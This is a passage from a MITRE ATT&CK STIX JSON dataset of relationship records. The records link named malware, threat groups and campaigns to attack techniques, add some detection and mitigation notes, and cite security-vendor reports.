2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c56990a5-9ef4-47a8-9c2b-4e313b9f363c","created":"2022-09-21T15:31:34.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:22:32.391Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used [netstat](https://attack.mitre.org/software/S0104) to discover network connections on remote systems.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c56a229c-f033-4a51-ad5c-251dff28b87e","type":"relationship","created":"2019-02-12T16:33:29.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.971Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareTech Power Loader Aug 2013","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"},{"source_name":"WeLiveSecurity Gapz and Redyms Mar 2013","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Power Loader](https://attack.mitre.org/software/S0177) overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)","relationship_type":"uses","source_ref":"malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3","target_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5811e32-72d6-4ac8-8769-15772e7ac50f","type":"relationship","created":"2020-10-20T15:50:00.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:07:53.907Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c585ae70-1bda-4751-ad34-536a78b7daad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.367Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim IP address.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c587fc65-b591-4a23-bb5a-f2971c427ba0","created":"2022-03-25T15:47:13.791Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PLEAD](https://attack.mitre.org/software/S0435) can use `ShellExecute` to execute applications.(Citation: TrendMicro BlackTech June 2017)","modified":"2022-04-06T14:12:11.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5892089-9b2f-4cb4-89a9-16794d0945b2","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications.","source_ref":"x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c592018f-2dd6-4787-b429-c25e69d6f1cd","type":"relationship","created":"2020-08-07T20:02:09.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.247Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can establish persistence via a Launch Daemon.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c592bcf5-6e88-4d77-a274-0a58b7388e76","type":"relationship","created":"2021-04-13T20:27:51.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:51.721Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has downloaded additional executables following the initial infection stage.(Citation: Recorded Future REDDELTA July 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c596a5d9-8206-4140-ad7f-a58d95ea2bba","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c596d308-22af-45db-9c72-2ce1b3695f90","created":"2023-09-27T20:15:18.300Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:15:18.300Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has the ability to monitor removable drives.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c597beea-3bcd-45ee-a400-5b615f9ae621","type":"relationship","created":"2020-05-08T18:56:22.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:43.952Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used decoy documents to load malicious remote payloads via HTTP.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5a0e330-ec5a-49cc-95b8-b7a5c49bd500","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.698Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) connects to a predefined domain on port 443 to exfil gathered information.(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5a19163-a5b3-4b14-bf9d-d23d95d218d4","created":"2024-03-28T15:43:51.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:15:18.666Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used VPN access to persist in the victim environment.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2019-04-24T23:59:16.128Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) attempts to disable UAC remote restrictions by modifying the Registry.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5a8316e-f45c-432d-beb3-d8de4785dba3","created":"2022-04-11T17:18:45.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.086Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can collect data from a compromised host.(Citation: Profero APT27 December 2020)(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5a84306-f745-450a-8c32-8c3d0819fec1","created":"2024-08-26T18:28:16.266Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:28:16.266Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has interacted with victims to gather information via email.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c5ae5910-07ed-42f5-a51f-bca546d52885","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Extra scrutiny should be placed on suspicious modification of Registry keys such as COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075). Monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection.","modified":"2022-04-20T00:36:03.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5ae9551-e756-4b8b-9b78-515eba60acf5","created":"2019-08-26T15:27:13.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce` Registry key.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5bab3a0-69b6-4ef6-97b3-3f3aecd710f8","type":"relationship","created":"2020-11-06T18:40:38.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.125Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WinRM to execute a payload on a remote host.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5be8127-669e-49b9-b603-581e3498d203","type":"relationship","created":"2020-05-29T19:02:07.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-05-29T19:02:07.052Z","description":"(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5caa197-e990-4214-ae50-7abeb5df199f","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5cf4822-a0bf-442a-9943-1937ac45520b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-18T15:53:57.648Z","description":"To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5d09de5-7a1e-45b5-a7ac-1637e8fe8eff","type":"relationship","created":"2019-01-30T17:13:11.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.438Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE) code for execution.(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5d32f1b-d4c1-4811-9793-ee55e663a2d6","created":"2024-05-17T14:04:36.061Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 